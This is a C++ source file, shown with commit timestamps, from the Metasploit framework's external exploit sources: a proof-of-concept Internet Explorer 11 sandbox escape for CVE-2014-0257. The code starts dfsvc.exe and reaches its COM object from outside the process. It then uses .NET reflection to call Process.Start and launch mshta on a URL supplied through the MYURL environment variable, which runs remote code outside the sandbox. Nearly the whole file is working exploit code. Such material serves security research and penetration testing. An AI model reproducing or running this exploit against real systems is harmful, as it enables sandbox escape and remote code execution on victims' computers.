metasploit-framework/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp

201 lines
4.7 KiB
C++
Raw Normal View History

2014-05-29 16:38:43 +00:00
// This file is part of IE11SandboxEsacapes.
// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes. If not, see <http://www.gnu.org/licenses/>.
#include "stdafx.h"
#define MAX_ENV 32767
#import <mscorlib.tlb> rename("ReportEvent", "_ReportEvent")
const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}";
long GetSafeArrayLen(LPSAFEARRAY psa)
{
long ubound = 0;
SafeArrayGetUBound(psa, 1, &ubound);
return ubound + 1;
}
mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount)
{
LPSAFEARRAY methods = type->GetMethods_2();
mscorlib::_MethodInfoPtr ret;
LONG methodCount = GetSafeArrayLen(methods);
for (long i = 0; i < methodCount; ++i)
{
IUnknown* v = nullptr;
if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
{
mscorlib::_MethodInfoPtr method = v;
bstr_t name = method->Getname();
LPSAFEARRAY params = method->GetParameters();
long paramCount = GetSafeArrayLen(params);
if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount)
{
ret = method;
break;
}
}
}
SafeArrayDestroy(methods);
return ret;
}
template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args)
{
variant_t obj;
T retObj;
SAFEARRAY * psa;
SAFEARRAYBOUND rgsabound[1];
rgsabound[0].lLbound = 0;
rgsabound[0].cElements = (ULONG)args.size();
psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound);
for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies)
{
SafeArrayPutElement(psa, &indicies, &args[indicies]);
}
variant_t ret = method->Invoke_3(obj, psa);
if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH))
{
retObj = ret.punkVal;
}
SafeArrayDestroy(psa);
return retObj;
}
2014-05-30 14:06:41 +00:00
bstr_t GetEnv(LPWSTR env)
2014-05-29 16:38:43 +00:00
{
WCHAR buf[MAX_ENV];
2014-05-30 14:06:41 +00:00
GetEnvironmentVariable(env, buf, MAX_ENV);
2014-05-29 16:38:43 +00:00
return buf;
}
void DoDfsvcExploit()
{
CLSID clsid;
CLSIDFromString(CLSID_DFSVC, &clsid);
DebugPrintf("Starting DFSVC Exploit\n");
mscorlib::_ObjectPtr obj;
HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));
if (FAILED(hr))
{
WCHAR cmdline[] = L"dfsvc.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
// Start dfsvc (because we can due to the ElevationPolicy)
2014-05-30 14:06:41 +00:00
if (CreateProcess(GetEnv(L"windir") + L"\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline,
2014-05-29 16:38:43 +00:00
nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo))
{
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
// Just sleep to ensure it comes up
Sleep(4000);
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));
}
else
{
DebugPrintf("Couldn't create service %d\n", GetLastError());
}
}
if (SUCCEEDED(hr))
{
try
{
mscorlib::_TypePtr type = obj->GetType();
// Get type of Type (note defaults to RuntimeType then TypeInfo)
type = type->GetType()->BaseType->BaseType;
DebugPrintf("TypeName: %ls", type->FullName.GetBSTR());
mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1);
DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod);
std::vector<variant_t> getTypeArgs;
getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089");
// Get process type
type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);
if (type)
{
mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2);
if (startMethod)
{
std::vector<variant_t> startArgs;
startArgs.push_back(L"mshta");
2014-05-30 14:06:41 +00:00
startArgs.push_back(GetEnv(L"MYURL"));
2014-05-29 16:38:43 +00:00
ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
}
else
{
DebugPrintf("Couldn't find Start method");
}
}
else
{
DebugPrintf("Couldn't find Process Type");
}
}
catch (_com_error e)
{
DebugPrintf("COM Error: %ls\n", e.ErrorMessage());
}
}
else
{
DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr);
}
}
DWORD CALLBACK ExploitThread(LPVOID hModule)
{
CoInitialize(nullptr);
DoDfsvcExploit();
CoUninitialize();
FreeLibraryAndExitThread((HMODULE)hModule, 0);
}